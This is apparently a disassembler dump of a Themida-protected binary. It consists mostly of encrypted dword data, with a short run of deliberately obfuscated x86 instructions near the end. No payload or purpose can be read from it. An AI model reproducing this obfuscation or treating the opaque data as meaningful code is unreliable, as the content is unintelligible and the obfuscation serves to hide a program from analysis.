dd 8937FC71h, 44399069h, 0A7BF1566h, 116AF345h, 77C9BA8Fh
dd 28B72E99h, 2D37FC71h, 113219E2h, 0F8B72E66h, 4B37FC71h
dd 223210E3h, 0EAA0FC66h, 888CEA99h, 0C7321566h, 0A73D1498h
dd 11321523h, 9F52905Dh, 0C13D108Fh, 2232156Dh, 73D690EBh
dd 0E5DB153Eh, 7FCDEA9Dh, 0CB2571E3h, 1AB71A63h, 5321566h
dd 1C514FE3h, 0D964FC66h, 9409EA99h, 8DDB020Eh, 44399069h
dd 0A7BF1566h, 116A76F9h, 77C92A8Fh, 0FAF29E99h, 22321567h
dd 943DE36Dh, 88321563h, 0BBC9368Fh, 0ABC29E99h, 0F3397CD3h
dd 29879C63h, 0C437F77Dh, 0A73DFC58h, 11321540h, 8B336BEDh
dd 0C5EC9E98h, 227215A5h, 788F2E66h, 8737F76Dh, 44321DE4h
dd 2DC92E66h, 113210E0h, 72D4FC66h, 0F9B9EA99h, 27D01EDBh
dd 102390A1h, 88321084h, 0CD521566h, 0C029B4D3h, 65AF9863h
dd 7737FC54h, 66B01AB5h, 0AF321566h, 0F68770FBh, 87E1EA63h
dd 0BBCDCBE5h, 83879E99h, 9837F77Dh, 6A3304D3h, 17AF9863h
dd 0DD37FD05h, 78B79EB5h, 137F76Dh, 0A629B4E3h, 0BFBF7463h
dd 14DB3BBBh, 15BFC699h, 41DB24A3h, 0A13DC699h, 1132156Ah
dd 939390E5h, 0AD371084h, 0DDCDEAB8h, 20DC88EBh, 5BCD108Fh
dd 443A9669h, 0E0B11566h, 1100FC62h, 15BF1566h, 41D5A003h
dd 0A13DC699h, 1132156Dh, 9393A0EDh, 0C4DB1084h, 0A9321561h
dd 0F329B4EBh, 29879C63h, 6F37F77Dh, 9EBE2A8h, 0F896E697h
dd 77CDEAF0h, 279988EBh, 0F1CD108Eh, 9419D2EDh, 8DD01EDBh
dd 4D9790EFh, 0A7B91084h, 14D01EDBh, 5BF4531h, 41DA7146h
dd 0A7B9C499h, 14D01DB7h, 0DB94236h, 41D01EDBh, 6DBF9836h
dd 0EE37FD02h, 3E29EB7h, 95BF3EAEh, 0A137F76Eh, 0F32CD4DBh
dd 0C3D1563h, 4432154Dh, 3C3790EDh, 94191084h, 8DD00BA7h
dd 0C23DD45Dh, 22321571h, 0BA790EDh, 0D311084h, 41D00BA7h
dd 121B90EFh, 52DB1084h, 0D9321566h, 497AD4EDh, 22321A99h
dd 14B79C26h, 8937F778h, 0A62C98E3h, 0E3B7D263h, 1137F778h
dd 0E2321566h, 54327D26h, 48631566h, 3CA7EA66h, 7737F76Dh
dd 0A6142CF3h, 0B7B79C63h, 9837F77Ch, 6A023CE3h, 0F1CD4C63h
dd 27D0254Fh, 19E3A099h, 77651084h, 0A639A8D3h, 0C3B79863h
dd 0EE37FD0Eh, 49BF14B6h, 0CF37F778h, 0C0023CDBh, 0C0879E63h
dd 7B37F76Eh, 71879EC2h, 8F37F768h, 11CE53A1h, 49321566h
dd 533710A6h, 21581DBDh, 0F31880E3h, 0A1BF9E63h, 0CD37F756h
dd 64F5B86Eh, 1132159Ah, 0BD879C66h, 0C737F768h, 0A73DEA9Eh
dd 11321546h, 55EF2BE7h, 0C13DC8BBh, 22321572h, 113213A1h
dd 4EB11566h, 71879C62h, 0CB37F768h, 0EECDE380h, 8B31D5A7h
dd 0A61880E3h, 0B38F9663h, 1037F749h, 88AF9169h, 7AB31566h
dd 8898BFCCh, 11209069h, 4EB11566h, 0B874D262h, 22321566h
dd 0F8DBA5F1h, 88321565h, 14DAA5F1h, 3A83A8E5h, 1E331084h
dd 88322BE2h, 4532AD66h, 9FB11566h, 14DB021Eh, 80B61A66h
dd 0C9321566h, 0CA5E37FBh, 91E1EA63h, 0C3D8559h, 4432156Eh
dd 0CB37D2E5h, 11321525h, 8762EDE5h, 44321FE4h, 88A2A566h
dd 35DBBF3Eh, 0D0321566h, 0BB4D95CCh, 3AB71A8Fh, 92321566h
dd 61256DDBh, 0C03D1563h, 2232156Eh, 7AC088EBh, 5BCD108Eh
dd 0CF3652EEh, 0C0023CE3h, 92F53E63h, 2599118Eh, 44CE53A1h
dd 0CB321566h, 0EECDEA77h, 8607A0EFh, 2C601084h, 22329566h
dd 0A4CD150Ch, 8DD00997h, 41B78099h, 0A9681084h, 0F32C48EBh
dd 8833D263h, 0C7321566h, 0AFBB11A7h, 14D00B3Bh, 77C7058Fh
dd 4296FC99h, 0A9521566h, 0F32C48EBh, 13B9E63h, 0AD2561EBh
dd 6C0A9463h, 1E7E5132h, 883209E3h, 3CB37366h, 2D1C5962h
dd 113205E3h, 0BC29E66h, 0C1B913A0h, 27D01C77h, 1133138Fh
dd 3C29E66h, 0E8FB26B6h, 0A63D155Ah, 1132153Bh, 0C3D385Ah
dd 0BBCDEA89h, 0A63D3B5Ah, 1132155Bh, 0A3D255Ah, 44321466h
dd 0A43D2C5Ah, 0EECDEAB1h, 0A3D545Ah, 44321596h, 0A43D4F5Ah
dd 0EECDEAA1h, 0C3D4A5Ah, 0BBCDEAD9h, 0A03D745Ah, 113215BEh
dd 0E3D6F5Ah, 0BBCDEAC9h, 2232DE8Fh, 0C7095766h, 88F09169h
dd 5781566h, 0DDCD8F8Fh, 1EFB9099h, 8832A6E2h, 0C9879866h
dd 0A937F773h, 0A1C89EACh, 0D3DBB48h, 0BBCDEA9Fh, 0FBC5DA4Dh
dd 0E6B5EC4Dh, 0CFF4B195h, 0D1BF1599h, 27D000EBh, 222390EDh
dd 48B71084h, 44289069h, 0A7F41566h, 14D01F2Fh, 2FE07D21h
dd 0F1CDC1FCh, 27D003C7h, 6B5390EBh, 58CD1083h, 0C1E2EA34h
dd 1AB71AA6h, 9A321566h, 6A24ECE3h, 4BF29063h, 22320FE3h
dd 58B7D366h, 0C437F76Ch, 9E2EFC0Eh, 8387EABFh, 9C37F770h
dd 6D4874E3h, 16E2EA63h, 0E2B7C599h, 11379069h, 0A9DB1566h
dd 0CD321566h, 0CB2561E3h, 9C644563h, 6DA831E3h, 4FE2EA63h
dd 27B71AA6h, 0F8321566h, 88321562h, 581651EFh, 0A952D607h
dd 0F82561EBh, 49B94563h, 0CF0E5565h, 22329DF6h, 0F8A79C66h
dd 8D37F766h, 4432159Eh, 0AB3E45EDh, 0F318E4F3h, 0CCB94D63h
dd 85193142h, 8C3905Dh, 933D1084h, 88321576h, 44DB905Dh
dd 0A13D1084h, 11321562h, 8836D707h, 6036D207h, 22321566h
dd 151651A1h, 88321566h, 443210DEh, 60BF9866h, 0EE37F72Ah
dd 8EB87587h, 0C03DFC5Ah, 22321558h, 953DFD5Ah, 88321524h
dd 0C03D1A5Ah, 22321574h, 953DD85Ah, 88321559h, 0C03DFE5Ah
dd 2232152Fh, 4FB8D607h, 78D19567h, 4BB2EEE6h, 0DDCDFAE3h
dd 92EC9E99h, 0D63113A5h, 4426FC64h, 7CB91566h, 0EAC99667h
dd 881B9169h, 9AB91566h, 0A1334B65h, 0D8DB10A5h, 87CDEA99h
dd 0C7334BD0h, 0A63D3B8Dh, 0EECDEADAh, 88321F8Fh, 454C9566h
dd 8FB71A98h, 0F8CDEA99h, 77CDEA06h, 13614430h, 0A89ED555h
dd 0E1D195BEh, 8742EEE6h, 4432F9E2h, 2D3D2966h, 113230E2h
dd 87DB2966h, 443391E2h, 2DD92966h, 113000E2h, 87D12966h
dd 443264E2h, 2DD02966h, 113056E2h, 0D1694A66h, 0C1F5D638h
dd 27DB0D22h, 11321560h, 6BB20BECh, 0C4C99596h, 0DDD19069h
dd 9A7CEA99h, 6A397CE3h, 55A79E63h, 0A937F767h, 17F196B8h
dd 0B3304B65h, 4CB01ABEh, 19321566h, 0AFB41ABCh, 0A3CDEA99h
dd 42D996B9h, 8954B800h, 0D7B1BEF5h, 0AC0E9C62h, 481661EFh
dd 3993A0EFh, 4A6D1084h, 4CB14B3Fh, 0BE52FC62h, 0A7F5EA99h
dd 14DB0D22h, 88321564h, 0F23DCBEDh, 0A2CB9568h, 113A9669h
dd 51311566h, 443FFC25h, 0CBB21566h, 90EBE299h, 8832EA87h
dd 0CFEB3E66h, 0C0397CE3h, 0A79E63h, 0B37F767h, 0A61068DBh
dd 0A63D1463h, 113215C5h, 0A3DCD5Dh, 443215FDh, 0A03DCF5Dh
dd 0EECDEA27h, 88329B8Fh, 0B7D266h, 2037FC7Eh, 9A321566h
dd 86841AB8h, 4BB2ECE6h, 22321DE5h, 52EB1666h, 8832188Fh
dd 0BBDB9566h, 0C3B3CC91h, 11321599h, 0DB9CC4Dh, 41D01E0Fh
dd 232380EDh, 0ACB11084h, 8DD0371Bh, 0CB61A67h, 19321566h
dd 19B01ABEh, 0B3321566h, 0A2B41ABCh, 6CCDEA98h, 9B981AD6h
dd 8B2A568h, 85381A87h
dd 0A1ED3ECCh, 0BAA1118Dh, 130D3E5h, 0A629B4D3h, 5FB7D263h
dd 1037F744h, 0B321566h, 1D6911A2h, 0A136D1E5h, 66DB11A2h
dd 0C6CDEA9Fh, 0CF98FCD6h, 0A1F53EA0h, 9299118Eh, 0D16911A2h
dd 40F69638h, 0DDCBD28Fh, 55B7D299h, 8D37FC7Eh, 0CF321566h
dd 26F196B8h, 94B90B65h, 8DD01E0Fh, 452380EDh, 0A17C1084h
dd 0F31350DBh, 0C3D1463h, 44321465h, 0A03DCD5Dh, 1132156Eh
dd 0E3DCF5Dh, 4432154Dh, 3993A0EFh, 8CB91084h, 8DDB0D22h
dd 48164967h, 2232CB8Fh, 94F54A66h, 8DD03423h, 44321567h
dd 0A16C4C3Dh, 0E6DB11A2h, 0BCDEA9Eh, 0A61068DBh, 0A63D1463h
dd 113215DDh, 835B884Dh, 0C9B91084h, 27D01EDBh, 0DE19DE65h
dd 3837FCE5h, 0EFA3BF8Fh, 7936D1E5h, 0D5B14B3Fh, 711CFC62h
dd 0C1F5EA99h, 27DB0D22h, 11321564h, 3E3DCBEDh, 0C4CB9568h
dd 223A9669h, 0C8311566h, 883FFC25h, 0ADB21566h, 0A3EBE299h
dd 1132EA87h, 3EB3E66h, 0A6397CE3h, 33A79E63h, 0F837F767h
dd 77CDEA20h, 5C7690A1h, 2230108Fh, 0CFB91566h, 83CA369h
dd 0C73D959Fh, 2232156Eh, 0F871CC65h, 8832156Bh, 0B3CDFCE6h
dd 0DDD394BFh, 3A321566h, 0E1B79EBFh, 0CF37F76Dh, 0C03304F3h
dd 6C8F9663h, 8937F744h, 0BAFB9169h, 0FA09EA99h, 113A9769h
dd 52091566h, 0B9559369h, 0A97CEA99h, 92FD3EA8h, 6182108Fh
dd 0AD9984CCh, 0DDCDEDEEh, 0F90E13ECh, 88349169h, 0ADCA1566h
dd 2232157Eh, 12EC9E35h, 4BB11438h, 0EEDAA563h, 0C9B1CA4Dh
dd 4A998662h, 7137D3E5h, 0CF5444A5h, 2DF12960h, 113255E2h
dd 87F92966h, 44322DE2h, 2DF02966h, 11322DE2h, 87F82966h
dd 443225E2h, 0DD0F7366h, 21B61A43h, 0EE321566h, 4BCD3B5Bh
dd 223218E3h, 13749F66h, 280EE542h, 44119169h, 0DA6B1566h
dd 11322C8Fh, 0C9FB2666h, 44320C8Fh, 2231AC66h, 1EDB1566h
dd 31321566h, 44321560h, 2232108Fh, 1135AC66h, 2CC11566h
dd 452398EDh, 0EBB71084h, 11349069h, 3DBB1566h, 41D01477h
dd 44F1EC3Fh, 0D20E13EDh, 88579169h, 9CB81566h, 0A2C2F6E6h
dd 953D659Dh, 883215FAh, 0C03DFC5Ah, 22321529h, 953DFE5Ah
dd 88321521h, 0C03DD75Ah, 22321559h, 953DDE5Ah, 88321551h
dd 61CD2800h, 221F9169h, 0DB0E1566h, 88179169h, 0A70E1566h
dd 22509169h, 2C541566h, 0D3DEA48h, 4432156Bh, 63053ECh
dd 1E922996h, 883213E2h, 4BDBED66h, 0AB321566h, 0F33304D3h
dd 0DBAF9863h, 0BB37FD05h, 72F1ECB5h, 982253EDh, 6A3F9CE3h
dd 82B14D63h, 8F8F987Ah, 0BC37F76Dh, 0AC165165h, 0AD8F98CDh
dd 8F37F763h, 35165165h, 35BFBE36h, 41D00C13h, 67616CBh
dd 0D26CBE4Eh, 0A4AF9830h, 0BB37FD05h, 0FF95FCB5h, 0CEDFFFFFh
dd 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0AD600EC0h, 0A8ED96A7h
dd 458A152Ah, 0DFA02429h, 79261957h, 1E2C5E91h, 798A152Ah
dd 162C5E89h, 798A152Ah, 492C5ECAh, 798A152Ah, 382C5E13h
dd 798A152Ah, 5C2A5EF2h, 798A152Ah, 6B2A5EFAh, 0AC8A152Ah
dd 54A851D6h, 0BA8660D5h, 0CE2559D7h, 4062F07Ah, 7332DCF1h
dd 0BA8FFDCCh, 0A8EDD871h, 458A42C3h, 58DDAEA2h, 0C88260D5h
dd 0BC4D3138h, 0DF07462Fh, 5140B785h, 3C6D5h, 5492B85Eh
dd 0F305E983h, 0E4CB8BA4h, 0B1DABA31h, 0EB32565Dh, 0DABABC2Fh
dd 3C5253BFh, 596DC811h, 0B977DDD0h, 0F4B95163h, 0B575DF79h
dd 38221331h, 0F4B95A1Ah, 0A175DFBAh, 0A1F09F36h, 34F436ABh
dd 83D05C9Ch, 0A4F305E9h, 9D11F1B0h, 75FD7AF2h, 7A17FB23h
dd 25F89252h, 0FDF53FD5h, 9D1180ADh, 0B7342292h, 23AC7ACFh
dd 20AD29B7h, 75FD7A1Ah, 987C2779h, 7015948Ch, 997CFFA0h
dd 0C87D7FC7h, 0F305E983h, 8DDB8BA4h, 0E91850BDh, 378D8D05h
dd 0B805E933h, 32156644h, 0E9C1CF2Bh, 0D0073102h, 4C783C8h
dd 0F2850F49h, 8BFFFFFFh, 0A9BD83C0h, 5E21Eh, 0BD830975h
dd 5E21805h, 50197400h, 0B8C08B53h, 411h, 1DD58589h, 9D8D05E2h
dd 5E4B361h, 585BD3FFh, 1805BD83h, 740005E2h, 0B8535017h
dd 411h, 1DD58589h, 9D8D05E2h, 5E4B002h, 585BD3FFh, 0F2BBC08Bh
dd 8D4672A4h, 0E9355A8Dh, 0DAB86605h, 0E98D8997h, 0F05E20Bh
dd 85C7FEB7h, 5E20761h, 6250h, 30ED958Bh, 85C705E2h, 5E21B55h
dd 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0C5C35747h
dd 0D4F6B339h, 36B4CF52h, 1DB53199h, 0FF05E214h, 0E21FD9B5h
dd 0F7816605h, 95FFEE02h, 5E20B15h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ch, 76C35545h, 6D8D1F3Dh, 582B5E17h
dd 0E8D9D8Bh, 6A05E2h, 0AB995FFh, 0C08B05E2h, 652A1DEBh
dd 4F930C5Bh, 0D54F7791h, 666FB759h, 56B2BB80h, 0EE28758Bh
dd 1EC9D18Eh, 0E938530Eh, 0EDh
dword_561238 dd 0D88C6660h, 840F04A8h, 0DFh, 2FCDB58Bh, 0FE8305E2h
; DATA XREF: Themida_:004EE15Co
dd 22850F00h, 0C6000000h, 0E20A4985h, 69684505h, 0FF8E7269h
dd 0E2262DB5h, 61858D05h, 0FF05E57Ah, 58589D0h, 8B05E204h
dd 0E93E80F0h, 31850Fh, 858D0000h, 5E78561h, 0BD8BD0FFh
dd 5E2234Dh, 1184C781h, 0B58B0000h, 5E22FCDh, 8B9F787h
dd 0F3000000h, 0CDB58BA4h, 8D05E22Fh, 0E5AB6785h, 8BD0FF05h
dd 0E232E5B5h, 0FE8305h, 22850Fh, 85C60000h, 5E20A49h
dd 0BEF46854h, 0B5FFFF4Eh, 5E2262Dh, 7A61858Dh, 0D0FF05E5h
dd 32E58589h, 0F08B05E2h, 0FE93E80h, 3A85h, 0E5B58B00h
dd 8D05E232h, 0E7856185h, 8BD0FF05h, 0E2234DBDh, 84C78105h
dd 83000011h, 0B58B08C7h, 5E232E5h, 8B9F787h, 0F3000000h
dd 0E5B58BA4h, 8D05E232h, 0E5AB6785h, 61D0FF05h, 81858DC3h
dd 8905E935h, 0E204A585h, 8E805h, 0FE8A0000h, 0F17EE9E2h
dd 5FF9ECADh, 50C18166h, 22C781EAh, 0E800005Bh, 7, 3668CC3Fh
dd 53778C35h, 6594BE66h, 685E5Eh, 0E8000000h, 14h, 924703BCh
dd 7AB77EB7h, 81C01BF0h, 17F02684h, 0ADB00DCBh, 0FF5A59FCh
dd 0E1813A34h, 48DCAB74h, 11E95Bh, 0ABDD0000h, 0DF48E7A7h
dd 0E256BB54h, 95578211h, 81014208h, 79D50BF3h, 62C98014h
dd 0ED97C381h, 0F3811B88h, 7822138Dh, 89C78B66h, 0B70F171Ch
dd 0AE9CFh, 6DE50000h, 0E2BDA13Fh, 467E64A6h, 0CAE2EA81h
dd 8B66500Eh, 0DEC281CFh, 0B8500ECAh, 21C2692Eh, 0A590FA81h
dd 850FFFFFh, 0FFFFFF93h, 8EBh, 46900000h, 0FCE979FBh
dd 68000004h, 5E93861h, 0F948C6E9h, 38CA68FFh, 0BCE905E9h
dd 68FFF948h, 5E93A4Bh, 0F948B2E9h, 0CECA0CFFh, 317561C0h
dd 9824D495h, 0C2C80F72h, 2A7865C4h, 2F7017ACh, 87FAE0AEh
dd 0E1404E54h, 562BB7FBh, 0F7FF1BA1h, 8E28298Eh, 0B4F9F9F1h
dd 276D6E76h, 993EA120h, 0FC18B9D8h, 28293209h, 0F9FC18B9h
dd 0D3123982h, 717A6026h, 0C649F8ECh, 7290E151h, 0B4155146h
dd 0FA4F3B6Bh, 6A1D6A01h, 0DDEEAC2Bh, 0F54E9B6h, 147F9FAh
dd 0C91FF235h, 268C3FE6h, 0D000003h, 0D20B8F4Ah, 703697CCh
dd 42CF770Fh, 0D85EFB6Eh, 6801FAC3h, 0B30F40E9h, 69C6F9FAh
dd 0B7DCA50h, 9C159E2Ch, 93B7DCFCh, 0AFE34BECh, 5F2202BDh
dd 4C891C9Ah, 4EDDD91Dh, 7CB5D00Dh, 0DF9039D7h, 6DF5312Fh
dd 312F8BCCh, 61ED5AF5h, 81B2170Ah, 50F5312Fh, 1EBBAE1Bh
dd 8D36574h, 0FEA1A09Fh, 0EB16B7FDh, 0F40E968h, 0C6F31369h
dd 0D96FAEB5h, 65D20A5Dh, 0DEDC1D44h, 2887130h, 3AAFDCE5h
dd 0DBBACFFBh, 328h, 0C1CDC90Fh, 0AA307460h, 739F23D7h
dd 0C5C1C70Eh, 0AD297764h, 0AD2E6F16h, 5386FBE7h, 0FAE0414Dh
dd 0A05928B6h, 0B1F0FC1Ah, 0F1812728h, 77B7FEF9h, 0D0577B18h
dd 1F03577h, 6C136802h, 0EFE8B02Dh, 13567CA9h, 7A6E78EAh
dd 839BC43Dh, 0D4C3756h, 3EBFCECCh, 2C2844ADh, 0DB1CF9F1h
dd 318350DDh, 0F396045Ch, 2BF90h, 7632A400h, 0D9DD1968h
dd 8C4C3Dh, 6A30A79Ah, 0D2E01D6Ch, 0C7D8BF34h, 3F028816h
dd 99E8F6BCh, 0CEB35F63h, 5F078309h, 81D08126h, 1C01F9F1h
dd 8B7B18DEh, 37F0D4CBh, 0C1C70E22h, 8F285F94h, 201F13Dh
dd 0C788D150h, 1EF9F181h, 3275F421h, 5580C7C5h, 82EF7657h
dd 0F9F181EDh, 58C78FEh, 3FED47C8h, 1CC67h, 696E5B00h
dd 7A7D3C23h, 4180AB3Ch, 0DFDD1898h, 0EE736462h, 85C447FAh
dd 1D9B5C54h, 11104D8Eh, 18B987C8h, 0D8E15EFCh, 0FAD89B7Fh
dd 2FA6E901h, 226D69B5h, 47BC4A0Bh, 0F016B724h, 0A474BB1h
dd 0A831B0F3h, 0F9FA60A7h, 5FB8017Eh, 0F9FA6022h, 48BFB731h
dd 3FE6E895h, 4A3Ah, 7B180C00h, 7FD8A05Dh, 0FC18B9FEh
dd 98E35817h, 0ADEBEC53h, 0A1A01D5Eh, 0FAD15618h, 6BB28901h
dd 0FAA1710Eh, 179343F9h, 27C09BF4h, 0E7BF2CA7h, 117438A0h
dd 49B581C7h, 7CF90C92h, 8F67E107h, 0E677C518h, 0C16A3Fh
dd 0AE5C0000h, 47A6ECEFh, 4D8AB516h, 48B53C4Fh, 1052C77Ah
dd 0F91A43B9h, 5C609ACDh, 103B8CC9h, 849EE11h, 0D9FC1891h
dd 0E1165962h, 0F7E5A4DBh, 0E91150ABh, 0D81546A5h, 0FCFD640Fh
dd 0DCB710BEh, 0AAFC1896h, 0DE636F2Dh, 5A57E949h, 0E0F94F42h
dd 23260A17h, 0FDCD7686h, 0AFD2A901h, 5BA2EEECh, 746C912h
dd 7FC2C8D6h, 22CB307Eh, 0E5046072h, 13EA180h, 0B3250000h
dd 5E96EBF7h, 0DCDBC5Ah, 0B1240581h, 619AEFEBh, 5938B753h
dd 8D099744h, 6B773DBCh, 32D8E416h, 860C8A4Fh, 5102A7DEh
dd 80F9F183h, 6D6E599Dh, 78612027h, 7C24FFEEh, 82FF8AFCh
dd 0DB1C6D39h, 0DF81B217h, 1B50FC18h, 6E3A20AEh, 7D3C2369h
dd 0FFC5347Ch, 0ABF22FACh, 73F29922h, 0C3D7DC86h, 252ABA80h
dd 64E9E2E8h, 0FE0D8B4Ah, 0EC6DCA7Dh, 25FC180Eh, 0EF6E114Eh
dd 1A612FACh, 50AF08D1h, 0A501FBB2h, 0E1185BCEh, 4870AD3h
dd 0F7169445h, 1FA6546h, 0BFB417B3h, 8DF9FBBDh, 1F93444Ch
dd 39AD7DBh, 30719DCAh, 0DFA6C5CBh, 8Ch, 577B18E7h, 0F03177D0h
dd 1F540201h, 0E9AD2968h, 0CD0AB5D0h, 797EC3CFh, 938FE833h
dd 0E17DC203h, 0EA55B0F6h, 6D31ABEFh, 560DD1Eh, 11675F19h
dd 2F5B2B6Dh, 9D248ABAh, 2BBC66F7h, 0F7FFB324h, 0B6E368B3h
dd 8D05F0B3h, 0B338434Fh, 15B62746h, 0CBC73071h, 2F78830Fh
dd 9ED42DA7h, 0C73C6935h, 0D1D50140h, 0F3E26D08h, 0A5221069h
dd 0C4EF6836h, 0EB326F02h, 571450Fh, 79C8D6D4h, 0A0E33A80h
dd 15B6FCE1h, 3CAh, 9DA7F000h, 0D92C686Eh, 0C05B6196h
dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h
dd 769519C1h, 788307CFh, 0E08950F2h, 405h, 4E88300h, 8B240487h
dd 89512424h, 4C181E1h, 83000000h, 0C8704E9h, 4895C24h
dd 104F6824h, 14890000h, 30685624h, 8B39DC0Ch, 0C4812434h
dd 4, 31C68146h, 89CC0D2Bh, 8B545EF0h, 0C4812414h, 4, 4EC81h
dd 4890000h, 8428F24h, 5024148Bh, 405E089h, 83000000h
dd 48704C0h, 48B5C24h, 0E7895724h, 4C781h, 0C7810000h
dd 4, 5C243C87h, 0F943DEE9h, 66E0DEFFh, 0AE388E3h, 0B82CAE4Fh
dd 5E93BAEh, 0E0FFC503h, 57A627A9h, 1B0D0490h, 4CCD33Ah
dd 5C6D8B2Ch, 6ECC6A57h, 77BDD10Fh, 24B49B9Dh, 71B033C3h
dd 32BB9E3Ch, 672CA9C4h, 0CE4B04EBh, 1CE9167Eh, 12000005h
dd 473AA0E4h, 0BA8F0B8Fh, 1554723Eh, 4B3EA4E2h, 69860C92h
dd 0FAC8358Ah, 206E6DDCh, 8915C7BAh, 0FDBB3C0Dh, 3394EDD1h
dd 0F9F18502h, 46D352D3h, 0B83A1B6Dh, 0D0963737h, 0D823696Eh
dd 0B05E6499h, 7B8208F1h, 62B9FFF8h, 54B7F3E3h, 0EA986C2Eh
dd 1C6F2BABh, 296624D5h, 6228D190h, 0CBD70564h, 0E0807ACFh
dd 7CB722C8h, 831A57EFh, 941AC180h, 800CCE71h, 0DBE1144Bh
dd 169C5F02h, 55212BF7h, 28746629h, 662AD09Fh, 0CAD00978h
dd 0C273D457h, 13FC188Bh, 9FF88324h, 0FC188BE3h, 4672BD1h
dd 0B9220DDh, 318F0DC8h, 6F33F37h, 8B3D4B80h, 9CC8FBBh
dd 0D10C3A83h, 7C3A0445h, 58AFEEBh, 20B9D0CAh, 69E3h, 0EFAEC700h
dd 1358A3E7h, 545287CAh, 0C70F4E31h, 0AA33B8C3h, 18B92E41h
dd 0C3B335FCh, 413914Ch, 13E3Ah, 0AE000000h, 0CF265C39h
dd 0A0E73D7Ch, 0EC537438h, 0FABDACE8h, 72EBFFDh
dd 0ED9C18DCh, 186331AAh, 2C686CD3h, 204B9CD9h, 157036A1h
dd 0EB572F69h, 5E23AFEBh, 72F71399h, 0A3FAC833h, 3652212Ah
dd 8A971D25h, 6D6E7531h, 599DC427h, 6F6B2A5Dh, 4A93D823h
dd 5D299323h, 38A6EC11h, 8814C689h, 0C1C7303Fh, 0F3BF3BBAh
dd 0EB6CCD4Ch, 3AFC18B9h, 4FD17C4Dh, 27CA3D09h, 0A43A0411h
dd 5Ah, 276D6E9Eh, 347A6120h, 2FB806F5h, 911DDD04h, 0C689080Ah
dd 323C8D13h, 0B907F442h, 0E1AF2C1Dh, 1E9C5B9Ah, 13E3658Fh
dd 411519Ch, 57FE3Ah, 6EC00000h, 9DC4276Dh, 89C8535Fh
dd 7332494Dh, 18B965D6h, 80C7BCFCh, 8C37565Ah, 9FD94D4Bh
dd 0C18751A7h, 4E5489F5h, 0EFAE9A40h, 6329ACECh, 4566D318h
dd 0ABDEDA1Ah, 77992C3Eh, 3A4480Bh, 7E763978h, 2A58A13Ah
dd 3FFC1822h, 974ABD89h, 343A04AEh, 1, 266A6E0Eh, 0F8E1A023h
dd 59E26BB2h, 0FC18B918h, 0C26972C9h, 3D9A5683h, 0FC18B93Ch
dd 0DA219ED5h, 7324B5FCh, 60E2FC84h, 2A1A4465h, 91901CDCh
dd 596226AEh, 0A1858A4Dh, 0B3F7FFBEh, 57DAE368h, 0FA4E70F2h
dd 0B1D4A301h, 0C7C3C90Eh, 0D4377562h, 71EBEAADh, 0A9D0BC3Fh
dd 0E239767Ch, 78F75069h, 2FF9FA1Eh, 0F8E14D39h, 0A45514B2h
dd 58A3E9ECh, 1C47A613h, 344EDDDBh, 8374C2B2h, 0BA950205h
dd 740F95BCh, 907DDBB8h, 41AB8E87h, 29E4A278h, 863FE649h
dd 11Ah, 577B18B8h, 0DF3B77D0h, 0E55201FAh, 0BB1C9F86h
dd 0F9FA9FBAh, 0DB4745B0h, 0E3145B6Ch, 8F4839A5h, 30B3F209h
dd 0FA9FA697h, 0A7007FF9h, 0C6793FB8h, 714A5087h, 286E6BEAh
dd 5B6992DDh, 867EE8C0h, 8A7AFC32h, 4AFDBB3Ch, 3D2122DDh
dd 7F48E78Bh, 5D30EDABh, 2D9F3FE6h, 0A3000000h, 0D2557918h
dd 18B91475h, 0F9FC4DFCh, 8C4CB3h, 66D7B0CBh, 6FC18B9h
dd 0ED747044h, 0A0E146F9h, 0D1FC18B9h, 93ED7C9Ah, 11000000h
dd 0D0577B18h, 0A6EAEE51h, 277ACA47h, 0FE7919CDh, 87DF8881h
dd 33669060h, 6F3141AAh, 8BE001FAh, 8208F170h, 0F6B42504h
dd 47BEC97h, 2A321B9Ah, 0F18BD4F5h, 0AEF9FABDh, 0F1BF3C7Fh
dd 0E3AF2BAAh, 592D15B6h, 0BBAEECEDh, 0B1DE9F38h, 3877F9FAh
dd 53F0FBAFh, 416FC87Fh, 0B407E3FDh, 0B425ACFFh, 0CB3073F6h
dd 18624719h, 0BBF0ED3Bh, 4BD2EB60h, 0D311E56Fh, 64E79A4Eh
dd 0D38F92C3h, 993E43F7h, 0F7D38FD8h, 0E4C53209h, 0C3F41CBDh
dd 2C1B09CAh, 7B18B8A6h, 0B93B3C9Dh, 9DEAFC18h, 3FBE2120h
dd 0B95A1BBCh, 0BC8BFC18h, 18B9AAABh, 0BB0C7BFCh, 1F54E52h
dd 77EA4102h, 7A48B5F4h, 0A091AA23h, 71F9F185h, 5B9AA13Ah
dd 8FF2189Eh, 76394C4Ah, 7F45B4F7h, 0DD9EAF2Ch, 74F9F185h
dd 9245AE3Fh, 900A5974h, 9AC52064h, 8DCE5D5Bh, 8B129E5Ah
dd 0EC54202Ah, 0FA483C7Eh, 0C988BFFDh, 0FF7C8F13h, 904938EEh
dd 3394170Ah, 0E5987202h, 384364D3h, 0B8BFE079h, 9127CEB0h
dd 0C8CE0948h, 1BEB55BDh, 666C2AAFh, 0B5D0D603h, 15EAh
dd 2FAE1000h, 1A23696Ch, 0FC18B959h, 0EE2AB388h, 0F3B93C7Fh
dd 686E1CEAh, 6196D92Ch, 5B81C05Bh, 4E8D3457h, 41BA2540h
dd 34A92873h, 21D41F6Eh, 19C1009Bh, 7CF7695h, 52F27883h
dd 0C281E289h, 4, 4EA81h, 14870000h, 2C895C24h, 1B516824h
dd 3C890000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push esi
push 7C2B3ACBh
mov esi, [esp]
add esp, 4
add esi, 2731503h
sub esi, 78B51352h
mov edi, esi
pop esi
push esp
mov ebp, [esp]
add esp, 4
push edx
mov edx, edi
push edx
sub dword ptr [esp], 165F7CA5h
pop dword ptr [ebp+8]
add dword ptr [ebp+8], 165F7CA5h
pop edx
mov ebp, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
mov edi, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_4F5CCB
; ---------------------------------------------------------------------------
dd 0B8DFB7C9h, 5E940F8h, 0E0FFC503h, 2E914ADCh, 9272B66h
